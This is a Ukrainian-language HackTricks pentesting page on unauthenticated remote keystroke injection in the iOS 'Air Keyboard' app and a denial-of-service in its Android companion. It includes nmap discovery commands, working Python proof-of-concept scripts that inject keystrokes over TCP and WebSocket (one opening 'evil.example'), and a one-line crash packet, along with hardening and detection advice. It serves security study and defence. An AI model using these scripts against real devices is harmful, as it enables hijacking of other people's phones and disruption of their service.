hacktricks/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md

174 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
iOS версія комерційного **“Air Keyboard”** додатку (App Store ID 6463187929) відкриває локальну мережеву службу, яка **приймає кадри натискань клавіш без будь-якої аутентифікації або перевірки походження**. В залежності від встановленої версії служба є:
* **≤ 1.0.4** сирий TCP слухач на **порті 8888**, який очікує заголовок довжини 2 байти, за яким слідує *device-id* та ASCII навантаження.
* **≥ 1.0.5 (червень 2025)** **WebSocket** слухач на *тому ж* порту (**8888**), який парсить **JSON** ключі, такі як `{"type":1,"text":"…"}`.
Будь-який пристрій в тій же Wi-Fi / підмережі може **впроваджувати довільний ввід з клавіатури в телефон жертви, досягаючи повного віддаленого захоплення взаємодії**.
Супутня Android версія слухає на **порті 55535**. Вона виконує слабкий AES-ECB хендшейк, але створене сміття все ще викликає **некероване виключення всередині OpenSSL**, що призводить до аварійного завершення фонової служби (**DoS**).
> Уразливість **досі не виправлена на момент написання (липень 2025)**, і додаток залишається доступним в App Store.
---
## 1. Виявлення служби
Скануйте локальну мережу та шукайте два фіксовані порти, які використовуються додатками:
```bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
На пристроях Android ви можете локально визначити відповідний пакет:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
На **jailbroken iOS** ви можете зробити щось подібне до `lsof -i -nP | grep LISTEN | grep 8888`.
---
## 2. Протокольні деталі (iOS)
### 2.1 Спадковий (≤ 1.0.4) користувацькі бінарні фрейми
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
Заявлена *довжина* включає байт `device_id` **але не** два байти заголовка.
### 2.2 Поточна (≥ 1.0.5) JSON через WebSocket
Версія 1.0.5 безшумно перейшла на WebSockets, зберігаючи номер порту незмінним. Мінімальний натиск клавіші виглядає так:
```json
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
Не потрібен жоден хендшейк, токен або підпис перший JSON об'єкт вже викликає подію UI.
---
## 3. Експлуатація PoC
### 3.1 Цілеві ≤ 1.0.4 (сирий TCP)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
```
### 3.2 Цілевказування ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*Будь-який друкований ASCII — включаючи переводи рядків, табуляції та більшість спеціальних клавіш — може бути надісланий, надаючи зловмиснику таку ж силу, як і фізичний ввід користувача: запуск додатків, надсилання IM, відкриття шкідливих URL, перемикання налаштувань тощо.*
---
## 4. Android Companion Відмова в обслуговуванні
Android порт (55535) очікує **4-символьний пароль, зашифрований за допомогою жорстко закодованого AES-128-ECB ключа**, за яким слідує випадковий nonce. Помилки парсингу піднімаються до `AES_decrypt()` і не перехоплюються, що призводить до завершення потоку прослуховування. Один неправильно сформований пакет, отже, достатній, щоб утримувати законних користувачів відключеними, поки процес не буде перезапущено.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
---
## 5. Супутні додатки Повторювана антипатерн
Air Keyboard **не є ізольованим випадком**. Інші мобільні утиліти “віддалена клавіатура/миша” мають ту ж саму вразливість:
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 дозволяє неавтентифіковане виконання команд та ведення журналу клавіш у відкритому тексті.
* **PC Keyboard ≤ 30** CVE-2022-45479/80 неавтентифіковане RCE та перехоплення трафіку.
* **Lazy Mouse ≤ 2.0.1** CVE-2022-45481/82/83 за замовчуванням без пароля, слабкий PIN брутфорс та витік у відкритому тексті.
Ці випадки підкреслюють систематичне нехтування **мережевими поверхнями атаки на мобільних додатках**.
---
## 6. Корінні причини
1. **Відсутність перевірок походження / цілісності** на вхідних кадрах (iOS).
2. **Неправильне використання криптографії** (статичний ключ, ECB, відсутня перевірка довжини) та **відсутність обробки виключень** (Android).
3. **Право доступу до локальної мережі, надане користувачем ≠ безпека** iOS запитує згоду на виконання LAN-трафіку, але це не замінює належну автентифікацію.
---
## 7. Укріплення та захисні заходи
Рекомендації для розробників:
* Прив'язати слухача до **`127.0.0.1`** та тунелювати через **mTLS** або **Noise XX**, якщо потрібен віддалений контроль.
* Виводити **секрети на пристрій під час onboarding** (наприклад, QR-код або PIN для спарювання) та забезпечити *взаємну* автентифікацію перед обробкою введення.
* Прийняти **Apple Network Framework** з *NWListener* + TLS замість сирих сокетів.
* Реалізувати **перевірки цілісності з префіксом довжини** та структуровану обробку виключень під час розшифрування або декодування кадрів.
Швидкі виграші для Blue-/Red-Team:
* **Мережеве полювання:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` або фільтр Wireshark `tcp.port == 8888`.
* **Перевірка в реальному часі:** скрипт Frida, що підключає `socket()`/`NWConnection` для переліку несподіваних слухачів.
* **Звіт про конфіденційність додатків iOS (Налаштування ▸ Конфіденційність та безпека ▸ Звіт про конфіденційність додатків)** підкреслює додатки, які контактують з LAN-адресами корисно для виявлення зловмисних сервісів.
* **Мобільні EDR** можуть додати прості правила Yara-L для JSON-ключів `"selectionStart"`, `"selectionEnd"` всередині відкритих TCP-пейлоадів на порту 8888.
---
## Лист для виявлення (Pentesters)
```bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---
## Посилання
- [Exploit-DB 52333 Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (17 Jul 2025) Уразливість віддаленого введення в Air Keyboard iOS App досі не виправлена](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}